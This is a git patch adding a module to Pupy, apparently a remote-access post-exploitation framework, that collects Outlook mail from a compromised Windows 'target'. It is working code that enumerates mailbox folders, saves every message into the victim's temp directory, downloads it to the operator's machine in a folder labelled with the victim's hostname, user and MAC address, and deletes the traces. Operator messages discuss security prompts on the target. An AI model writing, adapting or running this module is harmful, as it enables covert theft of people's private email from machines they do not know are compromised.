From 38f91a899d186e3249303ab8e3294ac93040ef4f Mon Sep 17 00:00:00 2001 From: root Date: Sun, 7 Aug 2016 12:51:28 -0400 Subject: [PATCH] New module (outlook) for communicate with Outlook application trough MAPI. --- pupy/modules/lib/windows/outlook.py | 223 ++++++++++++++++++++++++++++ pupy/modules/outlook.py | 54 +++++++ 2 files changed, 277 insertions(+) create mode 100644 pupy/modules/lib/windows/outlook.py create mode 100644 pupy/modules/outlook.py diff --git a/pupy/modules/lib/windows/outlook.py b/pupy/modules/lib/windows/outlook.py new file mode 100644 index 00000000..80a57691 --- /dev/null +++ b/pupy/modules/lib/windows/outlook.py @@ -0,0 +1,223 @@ +# -*- coding: UTF8 -*- + +import os, logging, sys, time +from rpyc.utils.classic import download +from pupylib.utils.term import colorize + +class outlook(): + ''' + ''' + + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} + OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} + + def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'): + ''' + ''' + self.module = module + self.outlook = None + self.mapi = None + self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':',''))) + self.foldersAndSubFolders = None + self.folderId = folderId + self.folderIndex = folderIndex + self.msgSaveType = msgSaveType + self.inbox = None + self.constants = None + self.sleepTime = sleepTime + self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%") + self.__connect__() + if not os.path.exists(self.localFolder): + logging.debug("Creating the {0} folder locally".format(self.localFolder)) + os.makedirs(self.localFolder) + + def __connect__(self): + ''' + ''' + #self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application") + self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application") + self.mapi = self.outlook.GetNamespace("MAPI") + if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex) + else : self.setFolderFromId(folderId=self.folderId) + + def close(self): + ''' + ''' + logging.debug("Closing Outlook link...") + self.outlook.Quit() + + def __getOlDefaultFoldersNameFromIndex__(self, folderIndex): + ''' + Return None if folderIndex not found in OlDefaultFolders + Otherwise returns Name of the folder + ''' + found = False + for k in self.OL_DEFAULT_FOLDERS: + if self.OL_DEFAULT_FOLDERS[k] == folderIndex: + return k + return "" + + def setDefaultFolder(self, folderIndex=None): + ''' + See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex + Return True if done + Otherwise returns False + ''' + if folderIndex == None: + folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox'] + folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex) + if folderName == None: + logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS)) + return False + else: + logging.debug("Moving outlook default folder to {0}".format(folderName)) + self.inbox = self.mapi.GetDefaultFolder(folderIndex) + return True + + def setFolderFromId(self, folderId): + ''' + See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex + Return True if done + Otherwise returns False + ''' + if folderId == None: + logging.error("Impossible to set Outlook folder to None") + return False + else: + logging.debug("Moving outlook default folder to {0}".format(folderId)) + self.inbox = self.mapi.GetFolderFromID(folderId) + return True + + """ + def getAnEmail(self, nb): + ''' + nb: number of the email + nb>=1 + ''' + return self.inbox.Items[nb] + """ + + """ + def getEmailsWithSubject(self, subject): + ''' + Returns a list which contains all emails (mailItem objects) when subject is in the email subject + ''' + emails = [] + for anEmail in self.inbox.Items: + if subject in anEmail.Subject: + emails.append(anEmail) + return emails + """ + + def getEmails(self): + ''' + Returns a list which contains all mailitems + ''' + emails = [] + logging.debug("Getting {0} emails...".format(self.getNbOfEmails())) + for anEmail in self.inbox.Items: + emails.append(anEmail) + return emails + + def downloadAnEmail(self, mailItem): + ''' + ''' + ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", "" + try: + subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum()) + receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_') + except Exception,e: + logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e))) + filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') + path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename) + logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) + #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) + mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) + try: + self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process + except OSError as e: + time.sleep(self.sleepTime) + logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder)) + download(self.module.client.conn, path, os.path.join(self.localFolder, filename)) + logging.debug("Deleting {0}".format(path)) + self.module.client.conn.modules.os.remove(path) + + def downloadAllEmails(self): + ''' + ''' + logging.debug("Downloading all emails") + for i, anEmail in enumerate(self.getEmails()): + self.downloadAnEmail(anEmail) + sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green"))) + sys.stdout.flush() + print "\n" + + """ + def getAllSubjects(self): + ''' + ''' + subjects = [] + logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails())) + for anEmail in self.inbox.Items: + subjects.append(anEmail.Subject) + return subjects + """ + + def getNbOfEmails(self): + ''' + ''' + #nc = self.inbox.Count + nb = len(self.inbox.Items) + logging.debug("Getting number of emails... {0} emails".format(nb)) + return nb + + def __getAllFolders__(self): + ''' + ''' + folders = {} + for inx, folder in enumerate(list(self.mapi.Folders)): + logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID)) + folders[folder.Name] = {} + if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder + for inx,subfolder in enumerate(list(folder.Folders)): + logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID)) + folders[folder.Name][subfolder.Name]=subfolder.EntryID + return folders + + def printFoldersAndSubFolders(self): + ''' + ''' + foldersAndSubFolders = self.__getAllFolders__() + for i,folder in enumerate(foldersAndSubFolders): + print "{0}: {1}".format(i, folder.encode('utf-8')) + for j,subFolder in enumerate(foldersAndSubFolders[folder]): + print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) + + """ + def __getRecipientsAddresses__(self, RecipientsObject): + ''' + ''' + recipients = [] + for aRecipient in RecipientsObject: + recipients.append(aRecipient.Address) + return recipients + + def __getSenderAddress__(self, mailItem): + ''' + ''' + if mailItem.SenderEmailType=='EX': + try: + return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress + except Exception,e: + logging.warning("Impossible to get sender email address: {0}".format(e)) + return mailItem.SenderEmailAddress + + def printMailItem(self, mailItem): + ''' + ''' + print "ReceivedTime: {0}".format(mailItem.ReceivedTime) + #print "Sender: {0}".format(self.__getSenderAddress__(mailItem)) + #print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients)) + print "Subject: {0}".format(repr(mailItem.Subject)) + print "Body: {0}".format(repr(mailItem.Body)) + """ diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py new file mode 100644 index 00000000..85556eb7 --- /dev/null +++ b/pupy/modules/outlook.py @@ -0,0 +1,54 @@ +# -*- coding: UTF8 -*- + +import os +from pupylib.PupyModule import * +from rpyc.utils.classic import upload +from modules.lib.windows.outlook import outlook +__class_name__="Outlook" + +ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) + +@config(compat="windows", category="gather") +class Outlook(PupyModule): + ''' + ''' + dependencies=["win32api","win32com","pythoncom","winerror"] + def init_argparse(self): + ''' + ''' + self.arg_parser = PupyArgumentParser(prog="outlook", description=self.__doc__) + self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders") + self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") + self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen (see options below)") + self.arg_parser.add_argument('-f', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") + self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") + self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") + self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") + + def run(self, args): + ''' + ''' + if args.folderId != None: + self.warning('Notice the folder Id option will be used and the default folder option will be disabled') + if args.foldersAndSubFolders == True: + self.success("Outlook folders and subfolders:") + outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) + outl.printFoldersAndSubFolders() + outl.close() + if args.numberOfEmails == True: + self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) + outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId) + self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails())) + outl.close() + if args.downloadAllEmails == True: + self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) + outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) + nb = outl.getNbOfEmails() + if nb == 0: + self.error("This box is empty. You should choose another outlook folder") + else: + self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) + self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") + self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") + outl.downloadAllEmails() + outl.close()